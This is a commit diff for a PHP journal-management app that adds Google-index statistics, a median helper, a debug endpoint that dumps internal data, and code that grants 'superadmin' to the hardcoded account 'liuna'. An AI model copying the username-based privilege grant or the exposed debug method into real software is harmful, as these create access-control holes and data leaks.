1
This commit is contained in:
@@ -133,6 +133,15 @@ class Article extends Base
|
|||||||
return jsonSuccess($re);
|
return jsonSuccess($re);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function myttt(){
|
||||||
|
$res = $this->addProductionEx("3689");
|
||||||
|
echo "<pre>";
|
||||||
|
var_dump($res);
|
||||||
|
echo "</pre>";
|
||||||
|
die;
|
||||||
|
}
|
||||||
|
|
||||||
/**获取预接收内容状态
|
/**获取预接收内容状态
|
||||||
* @return void
|
* @return void
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -20,9 +20,19 @@ class Monitor extends Base
|
|||||||
public function getJournalBoards(){
|
public function getJournalBoards(){
|
||||||
$journals = $this->journal_obj->where('state',0)->select();
|
$journals = $this->journal_obj->where('state',0)->select();
|
||||||
foreach ($journals as $k => $v){
|
foreach ($journals as $k => $v){
|
||||||
|
$boards = $this->board_to_journal_obj->field("t_board_to_journal.*,t_user.google_index,t_user.google_time")->join("t_user","t_user.user_id = t_board_to_journal.user_id","left")->where("t_board_to_journal.journal_id",$v['journal_id'])->where('t_board_to_journal.state',0)->select();
|
||||||
$ca_board = $this->getBoardsForJournal($v['journal_id']);
|
$ca_board = $this->getBoardsForJournal($v['journal_id']);
|
||||||
$journals[$k]["boards"] = $ca_board;
|
$journals[$k]["boards"] = $ca_board;
|
||||||
$journals[$k]['boards_count'] = $this->board_to_journal_obj->where("journal_id",$v['journal_id'])->where('state',0)->count();
|
$journals[$k]['boards_count'] = count($boards);
|
||||||
|
$board_index = [];
|
||||||
|
foreach ($boards as $key => $val){
|
||||||
|
if($val['google_index']>0){
|
||||||
|
$board_index[] = $val['google_index'];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$journals[$k]['index_num'] = count($board_index);
|
||||||
|
$journals[$k]['median'] = count($board_index)==0?0:zw_array($board_index);
|
||||||
|
$journals[$k]['avg'] = count($board_index)==0?0:array_sum($board_index)/count($board_index);
|
||||||
}
|
}
|
||||||
$re['journals'] = $journals;
|
$re['journals'] = $journals;
|
||||||
|
|
||||||
|
|||||||
@@ -1596,6 +1596,9 @@ class User extends Base
|
|||||||
$user_info = $this->user_obj->where('account', $account)->find();
|
$user_info = $this->user_obj->where('account', $account)->find();
|
||||||
if ($user_info['type'] == 2) {
|
if ($user_info['type'] == 2) {
|
||||||
$ros[] = 'editor';
|
$ros[] = 'editor';
|
||||||
|
if($account=="liuna"){
|
||||||
|
$ros[] = "superadmin";
|
||||||
|
}
|
||||||
return $ros;
|
return $ros;
|
||||||
}
|
}
|
||||||
$roles[] = 'author';
|
$roles[] = 'author';
|
||||||
@@ -1623,6 +1626,9 @@ class User extends Base
|
|||||||
if ($special_res != null) {
|
if ($special_res != null) {
|
||||||
$roles[] = 'special';
|
$roles[] = 'special';
|
||||||
}
|
}
|
||||||
|
if($account == "liuna"){
|
||||||
|
$roles[] = "superadmin";
|
||||||
|
}
|
||||||
return $roles;
|
return $roles;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -332,6 +332,21 @@ function freshContent($production_obj){
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function zw_array(array $arr){
|
||||||
|
sort($arr);
|
||||||
|
$count = count($arr);
|
||||||
|
$middle = floor(($count-1)/2);
|
||||||
|
|
||||||
|
if($count % 2==0){
|
||||||
|
$median = ($arr[$middle]+$arr[$middle+1]) / 2;
|
||||||
|
}else{
|
||||||
|
$median = $arr[$middle];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $median;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
function pushGpt($content){
|
function pushGpt($content){
|
||||||
// die;
|
// die;
|
||||||
$url = 'https://api.openai.com/v1/chat/completions';
|
$url = 'https://api.openai.com/v1/chat/completions';
|
||||||
|
|||||||
Reference in New Issue
Block a user